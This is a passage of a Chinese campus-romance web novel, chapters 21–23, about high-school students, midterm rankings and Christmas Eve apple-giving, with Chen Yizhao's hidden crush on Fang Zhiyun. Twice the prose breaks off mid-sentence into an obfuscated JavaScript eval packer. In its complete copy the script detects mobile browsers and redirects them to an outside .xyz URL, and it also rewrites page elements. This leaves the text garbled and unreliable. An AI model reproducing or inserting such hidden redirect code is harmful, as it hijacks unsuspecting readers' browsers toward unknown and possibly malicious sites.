卫子尧看着身边这位要颜值有颜值,要本事有本事,要身高有身高的校园风云人物,眼中满是对他问出这种话的不理解,脸色古怪的说:“您老是在开玩笑吧,谁会嫌你烦啊。” “可她好像很讨厌我。” 这句话说的很轻,卫子尧没听见,皱着眉追问,“你说啥?” “没什么,”方知韫背上书包,拍了拍卫子尧肩膀,“吃饭去。” “叽里咕噜说什么呢,奇奇怪怪的,”卫子尧摸着下巴自言自语,然后看着人越走越远,连忙招手呼喊,“你等等我啊。” 期中考考了整整两天,等最后一科化学考完,交卷的那一刻,所有人才感觉终于活了过来,大脑被各种知识点压榨的一点精力也没有,随处可以听见各种哀嚎和吐槽,连天气好似也受到影响,显得雾蒙蒙的。 放学的队伍浩浩荡荡的往校外走,可仔细一看却瞧见大多数都垂头丧气的,一副心力憔悴的疲惫感。 陈以昭叼着很棒棒糖走在后面,听着乔安澜和温梨在对答案发出的一惊一乍的声音,刚出学校大门,她余光瞥见前方一个人影,急急忙忙张口,“乔安澜……” 话还没说完,倒着走的乔安澜直直用后背撞了上去,立刻响起一道男生的痛呼,“唉哟~” 撞到人的乔安澜被吓了一跳,往前蹦了两步才站稳,神情慌张转身看过去。 穿着蓝白色校服的男生抱着脚原地跳了几下,连书包都落在脚边,怒气冲冲的抬头咆哮,“你他妈眼……” 声音在看到乔安澜时戛然而止,甚至连态度都有了一个一百八十度的转变,一改刚刚的气急败坏,抬头挺胸笑着说:“眼神真好,踩的不轻不重力度刚刚好。” 听见这话,乔安澜脸上的愧疚顿时消散的一干二净,明白这人不是什么好东西,没好气的翻了个白眼,敷衍说:“不好意思,没看见。” 说完,拉着陈以昭绕过人就要离开。 男生见状凑了过去,扬起标志性的八颗牙微笑,轻声说:“同学,我是12中的,方便加个Q.Q认识一下吗?” 乔安澜对这种搭讪习以为常,谎话张口就来,“不用Q.Q只用贴吧。” “贴吧也成,加个好友呗。” “加不了,骂人被封了。”乔安澜说完瞥了人一眼,那眼神仿佛在说:别惹我,要不然连你一起骂。 一般人到这里也就退缩了,可这男生一看就脸皮厚,依旧笑呵呵的接话,“实在不行联系方式也行,” “上次遇到一个和女生搭讪的变态,一气之下就用手机给他爆头了,”乔安澜指桑骂槐,眯着眼假笑,“再跟着我,一会儿给你也爆了。” 陈以昭扭头看了眼,笑着调侃,“你不是喜欢帅哥吗?” 乔安澜无语解释,“你看他面相,桃花眼含情目,一看就是感情史丰富的,我可不想成为其中之一,这种人看看过过眼瘾就好,真遇到还是躲远点。” 温梨也不解发问,“你怎么看出来的?” 只见乔大小姐抬头挺胸,秀发一甩,一副得意的说:“因为,我就是这种人。” 其他人三人面面相觑,都从对方眼中看出无语。 而听到那番话的男生见好就收,也担心惹人讨厌,摸着鼻子站在原地看着她们离开的背影,摇着头脸上露出幸福的笑,自言自语说:“还挺凶。” 而身后随着人群走出校门的方知韫,一眼就看见站在正中间的席元,他穿着蓝白色的省实验校服,背对大门,在一众红白校服的一中学生映衬下十分明显,想不注意都难。 他皱了皱眉,快步走过去对着人背影开口,“你怎么在这儿?” 席元听见声音转身,看见身后的方知韫也顾及不了回答,兴奋分享,“韫啊,我给你说,我遇到真命天女了!” 方知韫不以为然,无语说:“你上次谈恋爱也是这么说的,能不能换个说辞,我已经听烦了。” “这次不一样,我感觉呼吸急促,心跳加速,意识模糊,整个人都快要晕过去了,”席元连忙解释,“那种心动的感觉不会骗人的,我说的是真的,她真的很与众不同,你见到就明白了,就那个……” 席元一边说一边指着一个人影给方知韫看,整个人显得迫不及待,周围都是放学的学生,人头攒动,热闹非凡,方知韫顺着方向看去,从摩肩接踵的人群中看到了一个熟悉的背影,脸色变得古怪,不确定出声,“你说的人是陈以昭?” “原来你认识啊,那太好了,”席元笑起来,一脸的幸福,“她叫陈以昭啊,这名字真好听,嘿嘿。” 闻言,方知韫一脸看傻子的表情看着席元,眼中写满了无语,只当这人又开始抽疯,摇了摇头,正准备绕开离开,席元一把握住方知韫的书包肩带,眼神坚定,满脸真认真的说,“韫啊,我决定了,我要追陈以昭!” 方知韫冷笑一声,“有病。” 21. 第二十一章 方知韫本来以为席元只是脑袋一热,毕竟他经常干这种见色起意的事,等冷静下来又开始懊悔不已,他早就习惯。 未曾想这个周末有点不一样,席元就像跟屁虫一样缠着他,不停追问陈以昭的事,甚至得知方知韫有陈以昭的Q.Q后,闹着让推给他。 没经过别人同意私自将Q.Q给出去有点不太合适,方知韫想也没想给拒绝了,席元想了想也有点不妥,换了个策略,追问起陈以昭的性格,班级,和爱好了。 这更是难住方知韫了,先不说两人根本就不熟,就说陈以昭好像不太喜欢自己的反应,他压根回答不上来席元的问题,思来想去,只有一句话,“很优秀,很聪明,很好。” 席元眨了眨眼,“没了?” “没了。”方知韫点头。 “说了跟没说一样,”席元无语至极,“我难道看不出来她很优秀,很聪明,很好吗?还要你说。” 方知韫懒得和他废话继续收拾东西,把书包背好才扭头看向坐在床上的人,居高临下的问:“你还不走?” “为情所困,走不了了。”席元看着天花板一副哀怨。 “那我走了。” 说完,方知韫转身就要出房间,席元猛地坐起来,看着已经走到门口的人,仰着头反问,“你去哪儿?” “回学校。” “欸,不是,”席元看着空荡荡的房间,一瞬间感到茫然,挠了挠头,“就不管我了?” 方知韫没搭理,和在客厅写作业写的愁眉苦脸的方知睿交代好事情后,就出门回学校了。 到学校的时候距离晚自习还早,刚到宿舍卫子尧抱着篮球过来,他思考了会儿正好也没事做,便换了衣服去了篮球场。 周末的篮球场人不少,各种声音传来,他们打了会儿就出了一身的汗,方知韫撩起衣服擦了擦脸上的汗珠,朝着卫子尧摆了摆手,走到球场边坐下,拿起身边的矿泉水喝了一口,弓着背,双手搭在膝盖上休息。 “累死了,”卫子尧一屁股在他旁边坐下,拧开瓶盖灌了一大口水,用手指扯着领口不停扇风,脸上还带着运动后的红晕,八卦问,“过两天期中考成绩就要出了,你紧张不?” “有点。” 意料之外的回答,连卫子尧都扭头看向方知韫,眼中满是难以置信,“不应该啊。” “什么不应该?”方知韫反问。 “按照剧情,你应该又拽又装,然后这样说,”卫子尧清了清嗓子,面色凝重,故作低沉的假装,“有什么好紧张的,反正第一是我的。” 方知韫被他装模作样的表情逗笑,看着球场上的战况回答,“我是人,又不是神,没有人天生就学习好的,就算有点天赋也需要不停刷题背单词才能提高成绩,每次考第一名都需要无数个日夜的努力,翻来覆去的刷题,日复一日的积累,要不然你真以为第一名那么好当,世界上没有那么多天才。” “也是,”卫子尧认可的点了点头,“不过你这么聪明还这么努力,到让我有点自惭形秽了,怪不得杨羡总说我烂泥扶不上墙,你说我要不要……” 后面的话,方知韫没听清,他的目光穿过球场上的人群,落在场外和杨羡并肩走着的陈以昭身上,看方向像是刚从小卖部那边过来。 也许是因为这两天被席元不停念叨的缘故,他看着陈以昭的第一反应是观察,扎着马尾的少女穿着宽松的校服,皮肤没有那么白,是很健康的橄榄色,眼睛不算大却很亮,笑起来时露出的虎牙增添了几分可爱,一举一动都充满着令人无法忽视的生命力,是一种充满朝气的好看。 方知韫的视线缓缓下移,落在陈以昭手中那杯薄荷苏打时愣了愣,有些惊讶两人的口味居然一样,正思考要不要告诉席元时,旁边的卫子尧打断了他的思绪。 “老方?老方?” “什么?”方知韫转头清醒过来。 “你在看什么呢?”卫子尧顺着方知韫看的方向看过去,什么也没瞧见。 “没看什么,我先回宿舍了。” 说着,方知韫起身拍了拍卫子尧的肩膀,握着水瓶起身离开了,徒留卫子尧一头雾水盯着前面看,小声嘀咕,“到底在看什么呢?” 回宿舍方知韫依旧走的那条小路,距离并不算近只是单纯图个安静,他仰头将水喝完丢进垃圾桶,一扭头就看见坐在亭子中的温梨,礼貌的点了点头就要离开。 后者显然也注意到他了,像是做了什么决定一样,站起身,鼓足勇气赶在方知韫离开时开了口,“那个,方知韫同学……” 方知韫脚步一顿,转身语气平静问:“找我有事吗?” 温梨往前又走了几步,站在亭子的台阶上恰好和方知韫平视,圆圆的眼睛忽闪忽闪,依旧是很小的声音,“一直没有机会谢谢你。” “不用,我也是物归原主而已。” “不单单是钥匙扣,”温梨咬着下唇,整个人显得不自在,“背单词那次,打电话那次,还有在公交车上那次,非常谢谢你。” 她的道谢显得太过认真,方知韫放轻了声音,“这些都是小事而已。” “我不知道你喜欢什么,”温梨将藏在身后的塑料袋拿了出来,神色局促的说:“这是我家里卖的梨子,最近气候干燥吃梨子能润肺止咳。” 方知韫低头看了一眼,塑料袋里装了六七个梨子,一看就是精挑细选的,每一个都有拳头那么大,新鲜饱满,他还没说什么,温梨又急忙补充,“虽然不是什么值钱的东西,但是真的很甜很好吃,你可以尝尝。” 因为长得好学习好的缘故,方知韫总是收到很多礼物,有精心准备的有价格昂贵的,这还是他第一次收到这种普通到没有一点特别的礼物,却又充满意义和实用性。 他看了看浅黄色的梨子,仿佛凑近还能闻到淡淡的果香,又抬眸看向面前的人,少女脸上带着急迫和局促,像是用尽了所有勇气,这时,恰好路灯齐刷刷亮了起来,衬的她圆圆的眼中星光点点,有些无辜和脆弱。 不知为何,方知韫说不出拒绝的话语,想着:最近入秋了喉咙确实不太舒服,吃点梨子也不错,反正都要买在哪儿买不一样,最终还是点了点头伸手接过,“那算我买的,多少钱我给你吧。” 说着,方知韫伸手便要从兜里摸钱,温梨忙摆手拒绝,“不用不用,你收下就好了。” 她松了口气,像是解决掉一件大事整个人肉眼可见轻松起来,浅笑着说:“那我先去上晚自习了,再见。” 人刚走出一小段距离,身后的方知韫出声了,“温梨。” “嗯?”温梨止步转身。 方知韫拎着袋子走了过来,掏出手机点开二维码递过去,柔声说:“加个好友吧。” 温梨愣了愣,随后扬起灿烂的笑点头应答,“好。” 回教室的路上,温梨是小跑的,她太兴奋了脸上是控制不住的开心,坐到位置上才发现自己的手心因为紧张出了汗,双手来回拍了拍。 听见声音,原本在背政治经济学的陈以昭侧头看过去,瞧见温梨嘴角扬起的笑意,单手撑着头,眯着眼打趣,“你干嘛去了?怎么这么开心?” “没去哪儿,”温梨动作一顿,有些不自在的把手放下,随便拿过一本书摊开,盯着书却看不进去一个字。 “奇奇怪怪的。”陈以昭小声嘟囔,见温梨不想回答也识趣的没有多问,收回目光继续埋头背政治。 余光瞥了一眼,听见周遭叽叽喳喳的说话声,温梨咬着唇犹豫,还是没忍住,伸手扯了扯陈以昭的校服下摆。 后者感觉到拉扯,又扭过头,好奇问,“怎么了?” “昭昭,”温梨组织着语言,小声问,“你还记得梁钦吗?” 记得,怎么不记得,上个月还碰见了呢。 陈以昭在心里这么回答,面上却反问,“怎么提起他了,他怎么了?” “我前两天看他发空间,和一个女生谈恋爱了。”温梨解释。 “挺好的,祝福他。”陈以昭不以为然,语气平淡。 温梨又问:“我记得他初中不是喜欢你嘛?” 陈以昭放下笔,扭头无奈说:“他喜欢我,不代表我也要喜欢他啊。” “那你有喜欢的人吗?” 话音落下,陈以昭愣住了,一瞬间不知道该怎么回答,她并不是想要隐瞒什么,也不是对朋友的不真诚,而是因为他见过别人的暗恋,被自己意外的人知晓后的反应。 是挤眉弄眼的起哄,心照不宣的调侃,有意无意的安排,陈以昭并不喜欢这种感觉,那会让她觉得自己像马戏团的小丑,也不希望自己感情被曝光后,获得的是别人的八卦和方知韫的反感。 她喜欢方知韫,自然也希望方知韫喜欢自己,不是因为感动和勉为其难,单纯因为陈以昭这个人。 再等等,等自己再优秀点,准备的再充分点,她会把自己心中的秘密分享出来。 想到这里,陈以昭摇了摇头,“没有。” 温梨眼神一暗,垂下眼眸,语气很轻的低语,“如果问你的是乔安澜,你也会这样回答吗。” 她声音很小,陈以昭没听清,又多问了句,“你说什么?” “没什么,”温梨朝人笑了笑,“你继续背书吧。” 陈以昭还想问什么,可上课铃声响起只能作罢。 晚自习开始后走廊上聊天的学生陆陆续续进了教室,因为刚看完月考的缘故,各班都选择了讲试卷,枯燥乏味的题目,明亮的白炽灯,催眠的声音,令所有人都昏昏欲睡。 方知韫转着笔,盯着玻璃窗上的倒影,隐约能看见外面稀疏的灯光,思绪却不知道飞到什么地方去了,一直等到课间休息时,众人才再次精神起来,刚刚还寂静的教室又变得热闹不已。 “哪儿来的梨子?”卫子尧打着哈欠伸了个懒腰,一扭头就看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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排名表这会儿就在李文民教材里夹着,他面上却故作不经意说:“哎呀,这不忙着上课吗,刚拿到还没来得及看,怎么了?” 刘老师笑着恭贺,“你们班这次考的不错。” “真的啊,”李文民早就看了排名,装模作样谦虚,“成绩估计也就那样吧,毕竟前面还有实验班的呢。” “谦虚了吧,你们班可是有进前五十的,叫陈什么……”刘老师皱着眉回忆,一副想不起来的纠结。 “陈以昭。”李文民接过话。 “对,”刘老师想起来,“就叫陈以昭。” 说着,他又笑着说:“这学生基础好有天赋,还是李老师会教。” “哪有哪有,”李文民心里美滋滋,笑的嘴都合不拢,连连摆手,“不聊了我先上课去了。” 学生的成绩,老师的荣誉,李文民这次靠陈以昭长了脸,连走路都带风,昂首挺胸往讲台一站,手里教材一放。 “啪——” 声音有些响,教室里所有人都齐刷刷看向讲台,1班班主任肖颖板着脸,厉声训斥,“吵什么吵,一个个都考的很好吗?我要是你们,就那个成绩我都不好意思抬头!” 底下学生被骂了一通,都埋着脑袋不敢触霉头。 肖颖平复一下心情,脸色还是不大好看,扬了扬手里那叠A4纸,“这是年级前100名的排名表,自己看看有多少人连前100都没进,还一天天混日子,我看你们还能混多久。” 说完,她将排名表递给第一排的同学示意传下去,一时间就响起了各种叹气声,方知韫最后一个拿到,还没看前排的卫子尧已经扭过头,用手挡着嘴巴,小声嘟囔,“老方,厉害啊,又是第一名。” 方知韫耸耸肩,一副游刃有余的模样,引得卫子尧瘪了瘪嘴。 肖颖扫视一圈,将所有人的反应看在眼中,有的愁眉苦脸,有的长舒一口气,有的依旧插科打诨毫不在意,她抬手敲了敲讲桌,“都看到了吧,考的好的同学继续保持,考不好的同学也不要气馁,期末和下个学期再接再厉,争取让方知韫也动动,别老待在一个位置。” “老师,方知韫再动就得上天了。” 不知道是谁冒出这么一句,惹得众人哄然大笑,肖颖一改刚刚严肃的表情也笑了起来,“不要掉以轻心,其他班也是卧虎藏龙,比如5班的第一名,这次全年级排名46,而且物理还是全年级第一,优秀的人不可怕,可怕的比你优秀还比你努力的人,不抓紧时间拼一把,等这三年过了就知道后悔了……” 后面的话方知韫没听清,明明没有提到名字,可他却有一种直觉,翻开排名表指尖顺着往下,果然看到了一个熟悉的名字。 第46名:陈以昭 22. 第二十二章 期中考成绩出来后的一段时间,陈以昭受到了很多关注,在高一年级也算的上风云人物,不仅是科创班唯一一个挺进五十的,物理更是超过方知韫得了第一。 一时之间,各教研组老师都在讨论这个杀出的黑马,其中物理教研组更是开心,毕竟物理得个位数的分数,实在是太过正常,难得有两个上85的,以至于纷纷恭喜覃永教出两个好苗子。 相比其他人的恭贺赞赏,陈以昭则是一脸愁容,有种不太适应的惶恐。 她明白自己的劣势,也清楚一旦自己下次考试有一点失误,收到的会是更多异样的眼光,兴许会被否认之前的努力,将其归功于运气。 优秀是需要不停维持的,可她的英语实在太差,150的卷子只得了65分,拉低了整体成绩,除了死记硬背一点办法也没有,挠着头思考要不要寒假报个补习班得了。 正揉着头发愁眉苦脸时,门口传来了班上同学的呼喊声,“陈以昭,门口有人找。” 陈以昭顶着有些杂乱的马尾扭头看向门口,只看的见一个校服衣角,眼中闪过一丝疑惑,然后起身走了出去。 刚有一点动作,前排的郭佳佳耳听八方,顿时就来了精神,转过身趴在椅背上朝着温梨打听,“欸,外面那男生好像是高二的吗,陈以昭怎么谁都认识。” 温梨低头翻着方知韫的Q.Q空间,看着他那些日常生活的照片和动态,听见声音下意识把手机往抽屉里一塞,有些慌乱的抬头,反应迟钝的问:“你说什么?” “算了,”郭佳佳没好气的挥手,“还是等陈以昭回来我问她吧。” 说完就转了回去。 而陈以昭走了出去,下一秒就瞧见靠着墙的黎一帆,脸上扬起笑意,迎了上去,“你怎么来了。” “来看看风云人物啊,”黎一帆双手往后手肘横搭在围栏上,整个人重心向后,双腿随意放松,微微垂眸笑着打趣,“你最近名气可大了,老覃给我们上课都把你当逗号用,说的最多的就是……” 黎一帆清了清嗓子,刻意学着中年男人那样压低声线,“看看人家高一(5)班的陈以昭,再看看你们,学的还比不上高一的,这个高二是白学了。” 陈以昭被他逗笑了,有些无奈说:“别拿我开玩笑了,我不过是运气好而已。” “谦虚了,你这成绩继续保持,高二进实验班就稳了,还好当时没给你打傻了,要不然我罪过就大了,白白让一中少了个人才。” “听你这话,还嫌打的轻了是吧,”陈以昭挑着眉问,“要不我再让你打一次?” “冤枉啊,我可不是这个意思,”黎一帆大惊失色,忙举手做投降状解释,“真打出点好歹,我真成千古罪人了。” 听到这话陈以昭只是笑了笑没说什么,她走到黎一帆身边,听着这人在旁边絮絮叨叨,然后将双手搭在围栏上,整个人神情放松的往下看。 一中的教学楼布局是四四方方的,最北面是两面通透的走廊,楼梯是交叉错落的构造,墙面还种了不少迎春花,显得绿意盎然。 最中间是一片天井,还种了不少的樱花树,树下专门设置了羽毛球网,方便学生劳逸结合,课间操或者午休的时候,也有不少人在下面运动。 花开的时候,风一吹,粉白色的花瓣随风飘散,跟日漫场景一样美轮美奂。 哪怕现在步入深秋,叶子泛黄,秋意在枝头弥漫,斑驳的光影洒下,依旧是一副被挥洒到色彩斑斓的画卷。 别人眼中看见的是秋日惬意,而陈以昭看见的却是方知韫。 他没有穿校服,而是穿了一件简约的灰色连帽厚卫衣,袖子挽至手肘处,握着球拍的手背骨节分明,明明是极其普通的打扮,别人穿起来会显得臃肿,可方知韫个子高手长脚长,显得格外好看。 下一秒,不知道对面的卫子尧说了什么,方知韫站在网前大笑起来,唇角上扬,眉眼含笑,连发起都随着胸腔的起伏抖动,整个人变得鲜活而有朝气。 像有魔力一样,陈以昭总是能在人群之中一眼锁定方知韫,仿佛只要这个人一出现在视线之中,其他的人和物都会变得暗淡无光,周围的色彩一点点褪色,徒留最清晰的那个人影。 该怎么形容这种感觉呢,像每日清晨的阳光穿过微小的颗粒,发生散射现象时,光就有了形状,而当某个特定的人出现时,就像看到了光,心动也就有了定义。 就像现在,周遭人声鼎沸,他在笑,她也在笑。 “喂?”絮絮叨叨说了半天没有回应的黎一帆扭头一看,发现陈以昭不知道在傻笑什么,推了推人。 “怎么了?”陈以昭猛地清醒过来,收敛嘴角的笑意,扭头看向黎一帆。 “我才要问你怎么了,”黎一帆皱着眉,“一直在哪儿傻笑,到底听没听我说话啊?” 陈以昭又瞥了一眼楼下,见人收了球拍,走到一旁捡起地上的校服拍了拍,然后和卫子尧有说有笑的,离开了羽毛球场。 黎一帆表情古怪,顺着陈以昭看的方向低头,除了人头还是人头,压根没看出什么异常,无语的提高了声音,“陈以昭!” “啊!”陈以昭被吓了一跳,后知后觉想起什么,一拍脑袋,双手合十连连道歉,“抱歉,抱歉,我刚刚又走神了,你要不重说一遍?” 好在黎一帆并不是敏感多疑的性子,只当这是学习努力的后遗症,叹了口气,“算了,学霸都有点毛病,我懂,这个给你。” 说着,他从宽松的校服心口的连拉带拽的扯出来一本两指厚度的练习册,递了过去,“这我买的没啥用了,与其浪费,不如给你吧。” 陈以昭接过看了一眼,是本五三物理练习册,题型还很新,她眼中闪过惊喜,好奇问:“你怎么不留着做?” “物理12分的我,配吗?” “学哥,你人也太好了吧!”陈以昭正需要也没客气,抱着练习册一脸感激,“我祝福你,长命百岁,寿比南山!” “喂喂喂,发好人卡就算了,这个祝福也太不有心了吧。”黎一帆哭笑不得。 “怎么会,这是我最诚挚的祝福。”陈以昭认真点了点头, “我谢谢你,”黎一帆摇了摇头,“要上课了,我先走了啊。” 等人离开陈以昭才心情愉悦抱着练习册回了教室,屁股刚坐下,郭佳佳和张梓熙就凑了过来,前者着急说:“我刚看见他给了你什么东西,不会是情书吧?” “郭佳佳,动动脑行嘛,谁家情书这么厚一本?”张梓熙翻了个白眼。 “那说不准夹在书里呢,”郭佳佳嘴硬反驳,“掩人耳目懂不懂。” 听着两人左一言右一语,陈以昭恍然大悟,抬手做了个停的动作,面色古怪的开口,“我说两位,能收收想象力吗?人就是和我说了几句话,怎么连情书都传出来了?待会还指不定说啥。” 张梓熙摆明了不信,朝着桌上的练习册嘟了嘟嘴,“那这是啥。” 陈以昭拎起练习册抖了抖,“练习册啊,还能是啥。” “没意思。”张梓熙瘪了瘪嘴,又坐了回去。 郭佳佳则是趴在陈以昭堆成小山的课本上,眨了眨眼,一脸讨好,“那你和那个男生没有关系,能不能介绍给我啊,完全符合我的审美耶。” 陈以昭假意笑笑,然后快速收回笑容,严肃说:“不行。” “啊~”郭佳佳哀嚎,“为什么啊!” “因为麻烦,”陈以昭一字一句分析,“你想啊,你通过我认识的他,那我就成了中间人,你们都是我朋友,如果在一起了皆大欢喜,没在一起或者在一起后天天吵架,那我是帮你还是帮他?到时候里外不是人,我为什么要给自己找麻烦。” “说的有道理,”郭佳佳摸着下巴思考,然后眼睛一亮,灵光一闪说:“我可以空间的表白墙捞他!” 心情不错的郭佳佳哼着小曲转了回去,然后从抽屉里抽出团红色毛线开始织起来。 陈以昭余光瞥了一眼,发出了自己的疑问,“你织什么呢?” 郭佳佳还没说话,旁边的温梨笑着回应,“你最近被单词真的背傻了,郭佳佳这围巾都已经织几天了,你现在才看见。” “她织围巾干嘛?”陈以昭更是疑惑。 “最近天冷了,再加上下个星期就是圣诞节了,大家都在织,我也凑个热闹,”郭佳佳一边织一边回话,“不过她们是给男朋友织的,我给我自个儿。” 听人这么说,陈以昭环顾四周,才注意到班上好几个女生抽屉里都有毛线球,只觉自己这段时间确实两耳不闻窗外事,一心只背英语书。 “对了,”郭佳佳后知后觉想起什么,“平安夜你要包苹果不?” 也不知是从什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141946|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候开始的,大家都热衷在平安夜那天,用各式各样的玻璃纸彩纸包苹果,互相交换,寓意平平安安。 这个活动在初高中的学生格外风靡,一度成为了人气和好人缘的证明,从玻璃纸的选择到花样到层数,都非常有讲究,更有特别的含义,这包的不仅仅是苹果,更是一种人情世故,侧面突显各自经济实力。 甚至还会有不少人选择一些特别的层数,比如十一层,五十二层,六十六层……用这种含有特殊意义的苹果送给喜欢的人,当做表白,不夸张说,平安夜那天到处都是抱着平安果学生。 陈以昭初一的时候也包过一次,她人缘好收到的平安果远比送出去的还多,桌子都摆不下,被她妈逼着连吃了一个月的苹果,之后留下阴影,再也没有参加这个活动。 可即便她不包,也耐不住别人要送,每一年平安夜过后都是一天一苹果,疾病远离我,以至于这会儿听郭佳佳提起来,脸色一变,连忙摆手,“不了不了,太麻烦了。” “行吧,那我就不算你的了。” 陈以昭松了口气,原以为这事就这么翻篇,谁知道晚自习之前去厕所又听到有人在讨论,她本来没放在心上,可门外那两人话题逐渐提到了一个耳熟的名字: “对了,你买玻璃纸了吗?”沙哑的女声先开口。 “我买了粉色的,”声音听着乖巧甜美的女声随之响起,“也不知道他会不会喜欢。” “你真打算送方知韫苹果啊,”先前那个女生继续说:“万一他不收呢?” 原本还在刷手机的陈以昭听到这里,动作一顿,耳朵立马就竖起来,连呼吸都放轻了。 “那怎么办?”女生叹了口气,语气中满是失落,“我要是直接送给他,他肯定不会收的,可是我又希望他能收下我的苹果,知道有一个人在默默喜欢他,要不然我会有遗憾的。” “要不这样,你到时候直接让1班的人放在他桌上,他找不到是谁送的,也就不可能还回来了,你说对吧。。” “这办法好像可以。” “刚好一般有我初中同学,我到时候让他帮你拿进去,这样……” 说话声渐行渐远,厕所里又归于安静,过了会儿陈以昭才从厕所走出来,她洗了手,抬头看着镜子中的自己,水珠顺着镜面滑下,将她的脸模糊的有点失真,耳中不停浮现刚刚听到的对话,直到响起的上课铃声打乱了她的思绪。 后面一周,越临近平安夜越能感觉到同学们的躁动,连学校小卖部都开始售卖平安果和玻璃纸了,街道上的圣诞氛围已经很浓厚,商场的喇叭都在滚动播放《MerryChristmas》,郭佳佳的围巾修修改改终于在周末的时候完工。 陈以昭背着鼓鼓囊囊书包回寝室时,郭佳佳正在展览她的红围巾,瞧见陈以昭一个跨步迎了上来,“来的正好,快看看我的围巾。” “额……”陈以昭看了眼,组织语言,“有点抽象,看着像艺术品。” 郭佳佳心满意足,这才看见陈以昭塞得满满的书包,惊喜说:“又带什么好吃的了。” 陈以昭每周从家里返校,时不时就会带大包小包的好吃的和她们分享,郭佳佳习以为常,正要伸手陈以昭却猛地后退一步,脸色尴尬的说:“那什么,这不是吃的,是我带的衣服。” “哦。”郭佳佳也没放在心上,正好岳雪回来,她上前又给别人展示自己的围巾。 这个反应让陈以昭松了口气,背着书包走到自己位置小心翼翼放在桌上,看了一眼又不放心,索性放在床上,这才开始收拾有些杂乱的桌子。 宿舍的人陆陆续续来齐,商量着去食堂,袁今梦扭头喊了声,“陈以昭,我们打算去食堂,吃完饭再去教室,你去吗?” “我吃过了,你们去吧。” 其他人点点头,纷纷背上书包出了宿舍。 听见门关上的那一瞬间,陈以昭将视线从小甘古诗词上移开,探头探脑看了会儿,才小心翼翼将书包拿下来抱在怀里,拉开拉链查看没有任何问题,悬着的心,终于落下,又轻手轻脚的放回了原处。 接着,她从抽屉里抽出一叠好看的小卡,挑挑拣拣,选出了一张最满意的蓝色染卡,埋头在草稿纸试了试内容,然后以一种无比虔诚的认真,在卡片上写下文字,开头便是: 方知韫同学: 你好! 23. 第二十三章 进入十二月,天气越来越冷,所有人都换上了冬衣,明明冷的恨不得把全身裹在衣服里,不露出一点,却依旧顶着寒冷埋头包苹果。 平安夜那天是周二,周一开始就有不少人提前包苹果,颇有种哪怕在学校,也不能耽误他们期待第二天过节的架势。 学校虽然不赞同学生进行这些耽误学习的活动,但却也没有出面阻止,只要不太过分都会睁一只眼闭一只眼,这也就导致不少人都沉浸在节日氛围中难以自拔,无比期待平安夜的到来。 高中生的精力用不完,除了学习,做什么都非常来劲儿,连个苹果都包的花样百出,小卖部的苹果和玻璃纸供不应求,从周一开始,随处可见抱着平安果的学生,层层叠叠的玻璃纸绽开,跟花似的。 不少人抽屉里已经塞满了明天要送出去的苹果,教室里到处都是五颜六色的玻璃纸,半点学习氛围都没有,惹得李文民发了一通火。 可即便这样也没影响他们的好心情,到处都能听到关于明天平安夜的讨论,商量着送给谁,包多什么层,用什么颜色,有些赶时间的都提前送了,抱着走在学校里格外惹眼。 这种躁动一直持续到晚自习结束,教室里热闹不已,纷纷收拾东西准备回宿舍,岳雪背上书包朝着陈以昭喊了声,“陈以昭,回宿舍吗?” 陈以昭忙着算数学题,头也没抬的回,“你们先回去,我把这张卷子做完。” 几人习惯了她学习起来就废寝忘食的习惯,也没多劝,转身出了教室。 人陆陆续续走的差不多,教室里安静了下来,这期间也断断续续有人和陈以昭打招呼,她只是敷衍的回了两句,又继续埋头做卷子。 黔州总是天无三日晴,哪怕冬天也时常阴雨绵绵,十二月底的天气更不似北方那种干裂的冷,而是阴冷中带着湿气。 天气总是雾蒙蒙的,像盖上了一层灰色的纱幔,可偶尔能看见的墨绿色的植被,让人分不清季节,实际上不过是被寒气浸泡的绿意。 湿冷的天气令人穿多少衣服都感觉不到暖和,浑身像泡在冰水里,风从窗户缝隙吹进来,顺着毛孔钻入骨髓,哪怕穿着枣红色的校服冬衣,依旧冷的陈以昭打了个寒颤。 她放下笔双手放在嘴边哈了口带着白雾的热气,再用力搓了搓,僵硬的十指渐渐有了温度,环顾四周,教室里只剩下自己,低头看了看卷子,又侧头看着玻璃窗上的倒映,缓慢的收拾东西,背上书包关门关灯出了教室。 站在走廊里,除了8班的教室还亮着灯,其余教室都漆黑一片,只余下照明的顶灯,明晃晃的从头顶打下将影子投射在地面上。 走廊里异常安静,若不是时不时有其他楼层的声音传来,光听呼呼作响的风声,那氛围感觉和恐怖片差不太多,也不怪恐怖题材总喜欢选择学校。 寒风吹来过来,陈以昭冷的缩了缩脖子,抬手将冬服的拉链拉到最顶上,整张脸埋在衣服里面,只留下一双眼睛,滴溜溜的打量四周。 她吸了吸鼻子,慢悠悠往楼梯走去,当抬腿就要下楼时却脚步一顿,瞥了眼身后的书包,犹豫了会儿,又掉了个方向上了楼梯。 实验班的楼层肉眼可见比科创班亮许多,距离宿舍熄灯还有半个小时的时间,却没有一间教室熄灯,还有几个学生在教室里面,好像所有人都在和时间赛跑,不放过一分一秒。 陈以昭站在一班的门口看了一眼,可能因为天气太冷,时间太晚的缘故,难得没有多少人,只有一个剪着寸头戴着眼镜的男生在背书。 男生的视线偏移,自然也瞧见了门口探头探脑的陈以昭,放下书抬头问:“同学,你有事吗?” 被突然吓了一跳,陈以昭反应慢了半拍,整个人仿佛偷东西被抓到一般局促不安,大脑快速运转,然后终于想到了一个绝美的借口,“杨羡有东西落在教室了,让我帮她带回宿舍。” 男生回想了一番,确实经常见这个女生来找过杨羡,也没多怀疑,热情回应,“哦,那你来找吧。” “谢谢。” 